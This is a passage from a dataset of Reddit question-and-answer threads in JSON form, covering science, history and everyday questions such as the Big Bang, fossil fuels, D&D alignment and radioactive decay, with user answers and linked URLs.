unknowable, unmeasurable, and untestable.\n\nThere is plenty of speculation.  I'm sure the theists have some examples waiting for you to accept.\n\nFrom a scientific perspective, one of the easier ones to accept is the [Hartle-Hawking state](_URL_0_).  Basically, it speculates that time and space were both created by the Big Bang.  The concept of \"before the Big Bang\" becomes meaningless because there was no such thing as time.  It was that way \"forever\" (before time began).\n\nThere's also reasonable evidence to support saying the Universe is infinitely large.  I find it's much easier to think about the Big Bang assuming it is.  That is, you don't find yourself in the trap of thinking about events outside of the Universe or before the Universe.  The Universe is everything and has been everywhere for all time.", "Don't think about it too hard, you'll just hurt your brain. ", "Simple, we don't know. But it's better to say you don't know rather than assume some type of god did it. ", "keep in mind that the current widely accepted thoughts have the origins of the universe modeled up to the first 10^-43 sec after the big bang.  Anything before that point and our current quantum physics just breaks...", "I don't think we'll ever know. How can we understand something that does not follow the rules of the universe as they are now?", "explode, implode, explode, implode...", "I'm late to the party, but I always put it:\n\nSaying \"I don't know\" is a more honest answer than making one up. The fact that they claim to have an answer and you don't doesn't mean they have a stronger case.", "There is no \"before\" the big bang, because there was no time.", "I think you are conflating two different concepts - time and causality.\n\n*Before* is a word that relates to time.  Since the big bang created space-time, asking what was before the big bang is like asking what is north of the north pole.  It doesn't make sense to ask what is before the big bang.\n\nHowever you can ask what *caused* the big bang.  It's likely we'll never know.  The way I like to deconstruct the argument with theists is to ask what caused their god(s) to exist.  If they say that their god(s) can exist without being caused, I say that if that is possible, the universe can exist without being caused.  The difference between the two viewpoints is that theirs assumes a prime mover one step beyond the universe, while the latter does not.", "I always thought this was only one of many big bangs lol\n\nWhich leaves me to wonder what type of intelligent life was before us, and is with us now!", "The big bang is only theory. ", "The short answer: We have absolutely no credible idea.\n\nThe long answer: Weeeeee doooooonnnn't knnnnnoooooooooooowwwwwww yeeeeeeeet", "No one knows what happened before the big bang, when a theist asks you this you say. \"I don't know, but neither do you, and god isn't an answer, we just don't have one yet.\"", "This hasn't been answered ever, you want an answer here? Now?", "I'm not an astrophysicist, but my understanding is that asking what happened before the big bang is like asking what is to the left of space.\n\nThe word before relies on time, and time did not exist before the big bang. \n\nAnother example is this: what is the smallest positive non-zero number?\n\nThe current consensus on the matter is that what we do know doesn't work in that context, and we really have no idea what was going on 'before' the big bang, if anything at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/askscience/search?q=before+big+bang&amp;sort=relevance&amp;restrict_sr=on", "http://www.reddit.com/r/askscience/comments/fvrni/how_do_we_know_that_time_didnt_exist_before_the/"], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Imaginary_time"], ["http://en.wikipedia.org/wiki/Georges_Lema%C3%AEtre"], ["http://i.imgur.com/PU4eL.jpg"], [], [], ["http://www.youtube.com/watch?v=7ImvlS8PLIo"], [], ["http://www.bbc.co.uk/programmes/b00vdkmj"], ["http://www.multivax.com/last_question.html"], [], [], [], ["http://www.sing365.com/music/lyric.nsf/The-Big-Bizang-lyrics-MC-Hawking/8849BE0085473211482572AD0025F76E"], [], [], [], [], ["https://en.wikipedia.org/wiki/Hartle%E2%80%93Hawking_state"], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1ifhlw", "title": "How do I know that I'm hungry rather than tired? Is there some built-in language for bodily needs or is it a learned response?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ifhlw/how_do_i_know_that_im_hungry_rather_than_tired_is/", "answers": {"a_id": ["cb41w87"], "score": [2], "text": ["[Ghrelin](_URL_0_) is a hormone which plays a key role in stimulating hunger. [Fatigue](_URL_1_ on the other hand is detected in a number of ways since there are varying kinds; mental fatigue for example is modulated by the brain's reticular activating system(RAS). Physical fatigue is triggered by an increase of the level of serotonin in the central nervous system. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ghrelin", "https://en.wikipedia.org/wiki/Fatigue_(medical)"]]}
{"q_id": "3iyv0q", "title": "why don't doctors live longer than average human? if they are medically qualified, they must have knowledge of what causes death and prevent that cause. also, they can diagnosis disease earlier than average joe, so the treatment would be far successful, too.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3iyv0q/eli5_why_dont_doctors_live_longer_than_average/", "answers": {"a_id": ["cukuu7z", "cukuvv8", "cukux66", "cul06t2", "cul1dfn", "cul1noa", "cul803d", "cul8p7w", "culd0ad", "culdt5l"], "score": [16, 43, 22, 3, 5, 6, 2, 2, 3, 2], "text": ["Because doctors can work in a very stressful job, that can be emotionally taxing. Also it's hard to remain objective about yourself and that objectivity can be the difference between a correct diagnosis and a misdiagnosis.", "1. Who says they don't?\n\n2. \"Do as I say, not as I do\". Not every person follows the advice they give - you'll find plenty of doctors who smoke, for example, even though everyone knows it's unhealthy.\n\n3. Medicine is still not an exact science. People are different. Two people who live the exact same lifestyle can still have different health issues, and something that works on one person might not work on another. ", "Just because they know how to stay healthy, doesn't mean they practice it. Also, genetics plays a large role in illnesses. If you're genetically inclined to (say) heart disease or Alzheimer's or Huntington's or cancer, there isn't necessarily a whole lot you can do about it.", "I heard from a doctor that tge suicide rates among doctors are pretty high,  however the official cause of death is often different because of courtesy from their collegues. ", "I believe that I've read somewhere, that people who take care of others as their profession tend to neglect themselves, more so than a typical person would. \n\nI can't substaniate it, but it was a topic I stumbled across when my mother's nurse friend allowed herself to succumb to breast cancer; she never sought help, and my mother only found out about her situation a couple of weeks before it claimed it.", "They do live longer than their peers, they're just not dying of the same stuff, mainly because they do seem to \"know better\".\n\n_URL_0_", "I was friends with a surgeon who was very unhealthy - took drugs, ate fast food, drank basically nothing but Pepsi. His attitude was \"I've seen all the random stuff that can kill you out of nowhere, may as well have fun until something like that happens.\"", "The crazy amount of fat nurses I see leads me to believe that although they have the knowledge, the are as fallible and can lack motivation as much as any of us.\n", "Pretty much everyone knows that things like smoking and being fat are bad for you, yet there are plenty of smart people that do these things. Smart people are just as susceptible to poor choices and lack of self restraint as everyone else.", "This is purely supposition but I'm a resident doctor so maybe that allows me to fake it a little here. \n\nI agree with the \"do what I say.\" It applies to a lot of people. \n\nMy specialty had a lot of very athletic outdoorsy people, many of which pursue the occasional high risk activity - there's a few motorbikes, a doctor died in a skiing accident a few years ago, that sort of thing. \n\nAnd what I suspect is a big contributor, doctors often don't pursue the same heroic means that average patients do. I have a certain comfort level with the idea of my own mortality - I don't want to die, but if I got a terminal diagnosis, I may handle it differently than someone who has never been there with a patient on the other side of it. \n\nThis is an interesting article on end of life care for physician patients:\n_URL_0_\n\nEdit: sorry realized the initial hyperlink was to a subscription news site. Here is the same articLe on a free site:\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/11020591"], [], [], [], ["http://www.wsj.com/articles/SB10001424052970203918304577243321242833962", "http://www.zocalopublicsquare.org/2011/11/30/how-doctors-die/ideas/nexus/"]]}
{"q_id": "9dbern", "title": "how exactly does gasoline/petrol have anything to do with dinosaurs? i know they\u2019re called fossil fuels but it just doesn\u2019t make sense to me.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9dbern/eli5_how_exactly_does_gasolinepetrol_have/", "answers": {"a_id": ["e5gkrl8", "e5gku92", "e5glko6", "e5gm31z", "e5gzvuy", "e5h06ah", "e5hldry"], "score": [3, 10, 8, 3, 2, 3, 2], "text": ["ELI5. Dinos died way back, biological matter breaks down, got covered by dirt, got covered by more dirt, suddenly lots of grounds above them. Pressure and heat turns the biological matter into oil.\n\nIts not just dinos, plant matter, anything biological turned into oil, will happen with us too", "It doesn't (ish) most fossil fuels are from the decomposition of ancient algae/plant matter. Some tiny percentage is probably from non-plant biomatter but... Yeah... Not sure why people associate it with being \"dinosaurs\".", "Most oil is from tree-like vegetation that existed before the bacteria that can digest cellulose existed.  It's from the same time period as some fossils.  That's about the only connection I know of.", "No dinosaurs.\n\nCoal is formed by the  remains of trees, ferns and bigger plants which is why most coal deposits are on dry land.\nOil is formed by the remains of plankton, algae and microscopic organisms\n\nA few other conditions need to exist such as the material being capped by mud or rock in order for the material to form over long periods of time\n\nOil and coal from different places can be very different in composition and properties", "When ancient plants die and are buried very quickly, they are sealed off from any factors that might speed up there decomposition. Over a very, very long time, pressure and temperature builds up as more and more dirt is packed onto the dead plant (now a fossil). This crushes the fossil and changes its chemical composition.\n\nMost of the chemicals in the fossil have been striped, but carbon usually stays put for a while. Oil=carbon", "Fat is actually a long string of hydrocarbons (carbon and hydrogen linked together), like [this](_URL_0_).  You see, carbon has a tendency to link to other carbon, and hydrogen links to it very easily, so basically these long strings of hydrocarbons form cells and life as we know it.  And fat.\n\nSo [here is gasoline](_URL_1_) - you can see it's also carbons and hydrogens, perhaps forming a circle (benzene ring), maybe an oxygen in there.\n\nSo what happens is fat decomposes to these oils (still carbons and hydrogens) and we pump them out of the ground and \"refine\" them - separate the ones that burn easily from the sludge (fat) that doesn't burn as easily.  A refinery basically puts out a slew of products, from gasoline to diesel to various oils to tar.  Just separated, rotted hydrocarbons that burn easily (or less easily).\n\n", "It's a colloquial naming. \n\nPetrol = from Latin *petra olium* is literally *stone oil* \u2013 oil not won out of plants like olives but dug (*fossilis* \\- \"obtained by digging\") from oil wells as crude oil, which can be refined into modern oil based products.\n\nPlant and animal biomass (including dinosaurs!\\*) were decomposed into their molecular hydrocarbons by micro organisms and the pressure of many layers of earth over millions of years. \n\nMarine biomass turned mostly into oil, plants turned mostly into coal, some life forms got even petrified and we can find recognizable dinosaur skeleton fossils like the famous T-Rex (like, one-in-a-million findings), lots of his boring prey and who cares about even more boring plants? \n\nSome plants and insects got enclosed in amber and lasted in their original state until today. (Btw, did you see the Jurassic Park movie? They ELI5'ed that (but just fantasized about the DNA could still be recoverable.)) \n\n\\*This is why the saying goes it has to do with dinosaurs! It's cool. Keep telling your children about dinosaurs. They will find out about the other boring aspects early enough!\n\n   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://grubfirst.files.wordpress.com/2010/08/unsaturated_fat.jpg", "https://en.wikipedia.org/wiki/Gasoline#/media/File:GasolineComp.png"], []]}
{"q_id": "27vvgh", "title": "how is snow an insulator", "selftext": "Does it only work up to 0 degrees? Is it because of trapped air? Won't you melt it with prolonged contact, then freeze anyway?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27vvgh/eli5how_is_snow_an_insulator/", "answers": {"a_id": ["ci4v9zs", "ci4vi24"], "score": [8, 2], "text": ["Yes, it's because of the trapped air. Air, like most gases, is a poor conductor of heat because the individual molecules are very far apart.", "The way I understand it is that the characteristics and age of snow affect how sound waves travel through them. So when the ground has a thick layer of fresh, fluffy snow, sound waves are readily absorbed at the surface and are dampened. If the surface melts and refreezes, the snow becomes smooth and hard and the surface will help reflect sound waves better. \n\nIt's such a good insulator that some animals dig snow caves and hibernate like that because snow is composed of trapped air among the snow crystals and since air can barely move, heat doesn't transfer that easily. So if you sit in a snow cave and don't move, you'll be \"okay\", given your circumstances. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "63nldu", "title": "why do some people experience temporary hearing loss after an orgasm?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63nldu/eli5_why_do_some_people_experience_temporary/", "answers": {"a_id": ["dfviupy"], "score": [5], "text": ["_URL_0_\n\nGood News / Bad News\n\nThe bad news...\n > There are thousands of scientific papers about hearing loss and tinnitus. There are hundreds of papers about the female orgasm. There is nothing in the literature that links the subject of hearing loss and tinnitus with orgasm. Therefore, I can only deduce on the basis of first principles of physiology. I certainly do not think that a prospective randomized double blind controlled human study on this matter would ever pass the ethics committee.\n\nThe good news\n > Here is my first hypothesis: that the sudden reduction in heart rate and blood pressure results in sudden pressure changes in the middle ear and reduction of blood flow to the inner ear. The middle ear is a finely tuned piece of engineering. Changes in pressure within it would change the acoustic properties of sound transmission through the eardrum and hearing bones. This might result in a muffled hearing. In addition, the reduction of blood flow to the inner ear cochlea might mean that the hearing nerves might experience a transient reduction of essential nutrients, which results in temporary faulty signaling to the brain. This might explain the hearing loss and tinnitus.\n\n > My second hypothesis relates to what happens in the brain itself. During sex and orgasm, the areas in the brain that gets switched on are the nucleus accumbens (reward center), hypothalamus (oxytocin production), amygdala (emotions), hippocampus (memory storage), and cerebellum (muscle tone). More importantly, the parts of the brain that gets deactivated are the prefrontal cortex (decision making and executive thought) and the temporal lobe (hearing and sensory association center)\u2014that last bit is important. My second hypothesis therefore is that the change in the activity of the temporal lobe after orgasm results in a change in auditory perception. This may result in some people having a change in their threshold for experiencing tinnitus. In addition, the release of chemical endorphins may also change the activities of the neurotransmitters in the brain, causing a change in sensory perception.\n\nThat's *probably* the best answer you're going to get."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://broadly.vice.com/en_us/article/science-explains-why-you-sometimes-cant-hear-after-you-orgasm"]]}
{"q_id": "5myfhn", "title": "- why does the font style, color, and size change when i'm copying an pasting text from one email to another (from the same mail service) even after i selected it all and adjusted the font, color, and size?", "selftext": "For work I often have to include a similar paragraph of text in mails and since it is quite some text I prefer to copy-paste instead of typing it all again. However when I make sure that the font, color, and size are all the same, in replies I see that certain phrases or words are either larger in size or a completely different color that also wasn't used in the mail where I copied it from. Why is that and how can I make sure it gets corrected?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5myfhn/eli5_why_does_the_font_style_color_and_size/", "answers": {"a_id": ["dc7xryq"], "score": [2], "text": ["The easiest way to paste plain text is with CTRL+SHIFT+V - it works in most applications.\n\nWhat's happening is that there's 'metadata' - little extra bits of information - that describe to the computer what the text is supposed to look like visually. The metadata is copied along with the text when you copy it and when you paste it, in applications that understand the standard, it will retain that visual representation. Sometimes, an application will keep that metadata even if it doesn't understand it. After getting passed along the grape vine a bit (like with your replies) it can mutate and display differently. A lot of times, especially with email, it's not something you can manage: everyone who uses a different email client can introduce formatting artifacts, sort of like what happens when you play Telephone."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14r14g", "title": "the rpg alignment", "selftext": "I could never understand Neutral Good, Chaotic Good and all that stuff... Can someon please explain the difference to me? Thanks. :)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14r14g/eli5_the_rpg_alignment/", "answers": {"a_id": ["c7fmjtm", "c7fmnld", "c7fmpo8", "c7fmxck", "c7fo10m", "c7ftzzw"], "score": [3, 27, 2, 2, 2, 3], "text": ["I believe they're two separate things.  I'm not 100% up to speed with the alignment system but I think it goes like this. \n\nThe first tells you how you feel about adhering to laws/codes.\n\nChaotic means you don't care about them.  Lawful means you obey laws. These don't have to be laws set by \"good\" people.  These can be laws set by your evil clan, religion, your own personal code or what not.\n\nEvil vs good is dependent on whether or not your actions do good or evil.\n\nSo if your actions are evil but you strongly adhere to certain laws and don't stray from them, you're lawful evil.  If no laws bind you and you do evil, you're chaotic evil.  If your actions are good but you obey your own laws/beliefs, you're chaotic good.  If you obey laws and are a good guy, you're lawful good.\n\nThe neutrals refer to people in between the two extremes in both cases.\n", "It only applies to D & D and games deriving from that.  Other systems have different ways of measuring it.\n\nThe easiest way to understand it is to completely ditch the names.  Lawful, Chaotic, Good and Evil all have a shitload of baggage associated with them.\n\nSo, use different words.\n\nIt's not evil or good, it's Selfish or Selfless.\n\nIt's not Lawful or Chaotic, it's Disciplined or Impulsive.\n\nNeutral, of course, means you aren't described as one or the other, but somewhere in between.  You've got the qualities of both, or partial qualities of each.\n\n\nSo a Lawful Good person is one who favors Disciplined approaches to things, and has a Selfless Outlook.  They favor organization and structure.  It's not that they're necessarily opposed to free-form and unorganized things, they just prefer organized ones.\n\nA Chaotic Evil person is one who favors a loose fit and looks out for themselves first and foremost.  So long as they get theirs, they will leave everyone else to their own devices, and they don't see the point in a lot of structure or organization for a variety of reasons - it's too restricting of new ideas or new ways of doing something, organizations always end up with tons of exceptions to their rules anyway, and so on.\n\nA Lawful Person is the sort of person who, when confronted with a problem, starts going down a checklist to isolate, identify and eventually eradicate the problem.\n\nA Chaotic Person tends to try one thing, then something else, then a third thing and so on, with no real structure to their probing beyond their instincts.\n\nBoth approaches can be equally valid - the lawful one may fair better in auto repair, but the chaotic one may have a better approach for hunting.\n\nA Good person is one who favors assisting the most people possible with the least amount of effort.  If they themselves have to take a minor hit, they're fine with it as long as the net benefit is good (Something like a multi-billionaire looking to reform tax code as they believe it overly taxes the poor while not taxing the rich enough, for example)\n\nAn Evil person is one who doesn't necessarily mean anyone else any harm, but they see nothing wrong with noting that a new cashier in the store is about to open the register and getting in the new line ahead of the elderly man with a cart of groceries and a stack of coupons and the mother trying to keep her kids under control.  People who might benefit themselves and others by getting out of the store faster.  They look to benefit themselves first and foremost, and rarely look to benefit others.\n\n\nA Neutral (with respect to Good and Evil) person is one who looks out for themselves...but never at the expense of others.  In the Grocery example, they'll sit for a moment and wait for the cashier to turn the light on and see if anyone else notices before moving over.  In the tax example, they'll simply keep their mouth shut and wait for someone else to fix the tax code.  It's simply not their problem to care one way or another.  \n\nIn the organized/disorganized respect, it's someone who understands the need for structure, but also has a healthy respect for just doing whatever.  It's someone who, when confronted with a problem, will try a couple of instinctual responses first and then try the checklist approach.\n\n\nMost people are going to be Neutral Neutral (often called True Neutral) as they don't lean strongly one way or the other.\n\n\n...\n\nNow, the problem is that this system ALSO tries to tackle maniacal overlords who kill babies and eat puppies because it's evil to do so.  It also tries to tackle entities who would willingly lop off their own limbs if it meant someone else wouldn't go hungry that day.  \n\nIt basically looks at a selfish asshole who doesn't like structure that much AND a demon who likes to flay virgins and wear their skins as hats and says they're both Chaotic Evil.\n\nWhich is why it.. uh.. doesn't really work whenever you try to say that a certain person in real life is acting Lawful Neutral.  Because you're saying not necessarily that they're somewhere between a saint and an asshole, but between someone who would give all of their wealth to the needy and someone who flays puppies.  Which is where pretty much 99% of humanity lies anyway.  \n\nAnd, of course, all that being said - the alignment is supposed to represent someone's tendencies, not be a straightjacket for their every action.  A Chaotic Evil person can donate to charity on occasion and still be chaotic evil.  A Lawful Good person can curse at a girl scout and still be Lawful Good.  \n\nCalling it a straightjacket leads you to situations where you can make an argument that one person [fills all nine slots of the alignment chart](_URL_0_).\n\nThe reality is that every person can fill all nine slots, it's just that a person tends to sit in one of them most of the time.", "the wiki article breaks it down fairly well, i think.\n_URL_0_\n\nthere's 2 axes, each with three options.\n\nThe Good - Neutral - Evil axis describes how altruistic, empathic and compassionate they are. Good people care about the wellbeing of others, evil people do not, while neutral people take a view which focusses less on the individual and more on the broader scheme.\n\nThe Lawful - Neutral - Chaotic axis describes the degree to which the person believes in natural order, whether obeying rules is the 'right thing to do'. Lawful people believe that order, law, justice and consistency are essential aspects of society, while chaotic people believe that freedom and personal direction are essential. Neutral people along this axis again take a balanced broader view.\n\nI was interested to learn that the good/evil axis was not originally incorporated into the system. ", "The alignment system you are referring to is the one in use by Dungeons  &  Dragons. It's probably the most famous one, but other RPGs use different alignment systems or do not have alignment at all.\n\nIt's easiest to look at the D & D alignment in two different scales. The first scale has to do with morality, and it consists of Good, Neutral, and Evil. The second scale has to do with order, and it consists of Lawful, Neutral, and Chaotic. Here is an explanation of each:\n\n* Good - This basically means that you value others more than yourself. You are willing to sacrifice some of your own well-being to help others.\n\n* Evil - You actively desire to cause harm to others and may even gain some form of twisted fulfillment from it. The only person you hope to benefit is yourself.\n\n* Neutral - You won't go out of your way to help other people, but you don't wish harm upon them either.\n\n* Lawful - You follow an orderly ethical system. You have a code of rules that you obey completely and will not violate those rules. Note that Lawful does not necessarily mean \"follows the law.\" It just means that you have a code that you follow, even if that code is above the law itself.\n\n* Chaotic - You don't have any \"rules.\" You basically do what you feel is appropriate at the given moment. All ethics are situational, and there are no moral absolutes.\n\n* Neutral - You have a system of morals that you follow, but you're willing to bend the rules if you think the situation demands it.\n\nWhen you combine these two scales, you end up with nine alignments: Lawful Good, Neutral Good, Chaotic Good, Lawful Neutral, True Neutral, Chaotic Neutral, Lawful Evil, Neutral Evil, and Chaotic Evil. Everyone falls into one of these categories. Note that there is a lot of variance within each category, so two Lawful Good people can still be very different from one another and even be at odds. Alignment is generally stable, but it is possible for someone to change their alignment over time or after a significant life-changing event.\n\nThe most common alignment for people is True Neutral. Some races have inclinations towards other alignments, but it is possible for most beings to be different from their natural alignment. There is also a variation of True Neutral called Druidic True Neutral. This alignment, mostly held by Druids, believes that too much good is just as problematic as too much evil (likewise for law and chaos), so they try to maintain a balance between the two.\n\nBy the way, these rules aren't set in stone. Dungeon Masters often argue with each other and with their players over how to interpret alignment. Many people will have different definitions for them, and that's okay.", "In addition to what's been said, its useful to know that the newest versions of the game do not use the 9 alignments any more, they only use 5.\n\nBasically, there was too much overlap between some alignments, and lots of people didn't really understand what most of them meant, especially the lawful-chaotic spectrum (people thought you couldn't be smart unless you were lawful, or that if yOu were chaotic you couldn't make plans, etc). So they introduced a linear set: Lawful Good - Good - unaligned - Evil - Chaotic Evil.\n\nThey also detached the alignment from other in game features, so your alignment no longer limits what spells you can learn or what class you can be.", "You guys are making it way too hard. [Alignment: Explained Like You Are  5](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://writingiseasier.files.wordpress.com/2011/07/batman-alignment-chart.jpg"], ["http://en.wikipedia.org/wiki/Alignment_%28Dungeons_%26_Dragons%29"], [], [], ["http://i3.kym-cdn.com/entries/icons/original/000/000/904/Alignment.jpg"]]}
{"q_id": "1eynas", "title": "What is the hydrologic impact of the himalayan glaciers on the ganges?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1eynas/what_is_the_hydrologic_impact_of_the_himalayan/", "answers": {"a_id": ["ca542kw"], "score": [3], "text": ["It depends on the season. Normally October-May is the period in which Monsoonal rains have almost no contribution to the flow of the Ganges, and [one model](_URL_0_) has suggested that during this period glacial melt contributes 97% of the water *in the upper reaches*.\n\nIn the other period monoonal rains are the primary contributor\n\nLower down, once the tributaries start contributing to the total flow, the contribution becomes quite difficult to estimate. There was one study that used Strontium isotopes to estimate relative contributions, but I can't find it right now.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.tandfonline.com/doi/abs/10.1623/hysj.53.2.309"]]}
{"q_id": "27f501", "title": "why/how do ziplock bags filled with water and pennies repel flies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27f501/eli5_whyhow_do_ziplock_bags_filled_with_water_and/", "answers": {"a_id": ["ci078tb", "ci07qgw", "ci0anqd", "ci0k6q9"], "score": [2, 3, 2, 2], "text": ["The refraction of light makes them see multiple pennies and it looks like it is moving so they think they are other insects....I think...", "Nobody knows why or even if it works, but that and variations of it are common practise in many countries. Cultural memes are like that, they spread, even if they don't have any real function. ", "In New Mexico, Hispanics line their yards with milk jugs filled with water to repel cats.", "TIL that ziploc bags filled with water and pennies repel flies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9h7r05", "title": "reason goalies/goal keepers in soccer wear either no.1 or no.13 shirts", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9h7r05/eli5_reason_goaliesgoal_keepers_in_soccer_wear/", "answers": {"a_id": ["e69rnry", "e69rrhz", "e69s0xl", "e6uhpwh"], "score": [3, 6, 3, 2], "text": ["This isn't a good explanation and there may be a different reason but some positions in soccer used to have the same numbers. So in the old days a central defensive mid would wear #6 and a center forward would wear #9, or a play making midfielder/cam wears a #10. Goalkeepers are normally the first on the team sheet/ starting lineup so most just stay as #1.", "The goalkeeper is the first player in the lineup which is why they wear number 1.\n\nOriginally numbers 1 to 11 would be reserved for the starting squad, then 12 onwards for substitutes. Goalkeepers would back then tend to have either number 12 or 13.\n\n13 is an unlucky number so I believe the keeper would sometimes choose this one as he is less likely to play and bring bad luck to the pitch\n\nEdit: a similar question has been asked before (more explanations included in the comments)\n\n_URL_0_\n", "Traditionally players were numbered back to front 1 to 11, therefore Goalkeepers were always Number 1.\n\nThe rules have been relaxed and a Keeper can have different numbers but their is a symbolism behind having the number 1 shirt number. It's an indicator that you're the number one pick for that position.\n\nThe second choice goalkeeper would usually wear the next number after 11 or number 13 if the next outfield player wore 12.", " \n\nDon't  hear those who tell you it's as a result of team sheets historically  begin at the rear, or it is the variety of brain cells most **usa soccer goalie** have. That is dirty parcel of land player propaganda!\n\nThe fact is, goalies wear #1 as a result of they're the foremost vital player on the sphere.\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/soccer/comments/1tsb00/whats_with_french_club_goalkeepers_and_the/"], [], []]}
{"q_id": "5ch473", "title": "Are there different frequencies of gravity?", "selftext": "I don't know how to ask that properly, sorry. \n\nThere are frequencies of light, sound, energy(*right?*) of all kinds. Are there higher or lower frequencies of gravity that we can't detect, and might that have any accountability as far as the dark energy/dark matter thing?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5ch473/are_there_different_frequencies_of_gravity/", "answers": {"a_id": ["d9wh1f5"], "score": [37], "text": ["When you're talking about the frequency of light, you're talking about the frequency of an electromagnetic wave.  (There are also electric and magnetic fields, such as the electric field of a stationary charge, that do not have a frequency associated with them.)\n\nThe analogue, then, for gravity is not to think about gravity in general, but to think about gravitational waves, as were directly observed by [LIGO](_URL_1_) and had previously been implicitly observed via the [Hulse-Taylor binary neutron star](_URL_2_).  These gravitational waves do have frequencies; you can listen to these gravitational wave frequencies converted to sound wave frequencies [here](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=TWqhUANNFXw", "https://www.ligo.caltech.edu/news/ligo20160615", "http://www.astro.cardiff.ac.uk/research/gravity/tutorial/?page=3thehulsetaylor"]]}
{"q_id": "78v0rf", "title": "A Cracked article claims that the British used opium-laced cigarettes in a siege in WWI. Are there any sources for that?", "selftext": "[The article itself](_URL_0_). The source presented by them don't show the quoted page, and I couldn't find any other source for that in a quick Duck Duck Go search.\n\nSo, is there any truth to this story?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/78v0rf/a_cracked_article_claims_that_the_british_used/", "answers": {"a_id": ["doxfswb"], "score": [2], "text": ["The sole source of the claim is from the intelligence officer himself, Richard Meinertzhagen, from his war \"diaries.\" Any time you're dealing with a single first-hand account of something that sounds extraordinary it's worth being skeptical about whether or not it happened (or at least as to its efficacy). I also put \"diaries\" in quotations because much of his published work was added in later. You can see an overview of his (un)reliability as a source here:\n_URL_0_\n\nBut the story is amusing enough that he's been cited frequently elsewhere, for example:\n\n_URL_1_\n\nIf nothing else, it does capture the difficulties the British faced in the stalemate at Gaza. In the Second Battle of Gaza the more orthodox British wonder weapons of the day, tanks and gas, failed to break through the Turkish lines. It was a massive cavalry charge at Beersheba that finally did the trick and sealed the British victory at the Third Battle of Gaza."]}, "title_urls": [], "selftext_urls": ["http://www.cracked.com/article_18811_5-real-macgyvers-who-won-battles-with-improvised-weapons.html"], "answers_urls": [["https://books.google.com/books?id=FcBMAgAAQBAJ&amp;pg=PA104&amp;dq=intelligence+officer+opium+cigarettes+gaza&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjj9vTh8o7XAhVs04MKHYuXC5EQ6AEILzAB#v=onepage&amp;q=intelligence%20officer%20opium%20cigarettes%20gaza&amp;f=false", "https://books.google.com/books?id=lu_nXv6BCwkC&amp;pg=PA23&amp;dq=intelligence+officer+opium+cigarettes+gaza&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwjj9vTh8o7XAhVs04MKHYuXC5EQ6AEIOzAD#v=onepage&amp;q=intelligence%20officer%20opium%20cigarettes%20gaza&amp;f=false"]]}
{"q_id": "9wiwn1", "title": "what is radioactive decay?", "selftext": "I have been trying to identify what radioactive decay is, but everything on the internet makes it hard to comprehend. Can somebody tell me what it is in a simple way. thank you.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9wiwn1/eli5_what_is_radioactive_decay/", "answers": {"a_id": ["e9kyqi0", "e9l09vq", "e9l692x"], "score": [17, 5, 12], "text": ["The nuclei of some atoms are not stable. They can become stable by undergoing radioactive decay where it releases certain particles (alpha, beta, etc.) and generally turns into a different atom. Sometimes elements have to undergo multiple decays in order to become stable. ", "The nuclei of some atoms are unstable.  They either have too many neutrons, or not enough neutrons, or they're simply too big.  Then, completely randomly, the nucleus will break apart, emitting fast-moving particles and lots of electromagnetic energy.  Sort of like a glacier calving off a big chunk of ice.\n\nCommon ways for a nucleus to break apart are such things as emitting a helium nucleus, or emitting a neutron, or a quick burst of high energy elecromagnetic waves.\n\nOne single decay like this might result in ANOTHER unstable nucleus, so you might have one nucleus decaying multiple times, in different ways, until it finally reaches a stable configuration.\n\nThe rate of decay is also very important and plays a big role in how dangerous the radioactive decay is.  Very, very fast decaying isotopes are dangerous in a lab, but generally don't affect humans that much because they decay so fast that it's hard to even create a large enough amount of them to do much damage.  It's the medium-time decaying isotopes that often are very risky, because they stick around long enough to contaminate stuff, but still release plenty of radiation.", "Most bare bones way i can imagine it is imagine shaking a poorly built model kit. One by one, parts come off. Eventually you\u2019ll hit a point with only the most secured parts left. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
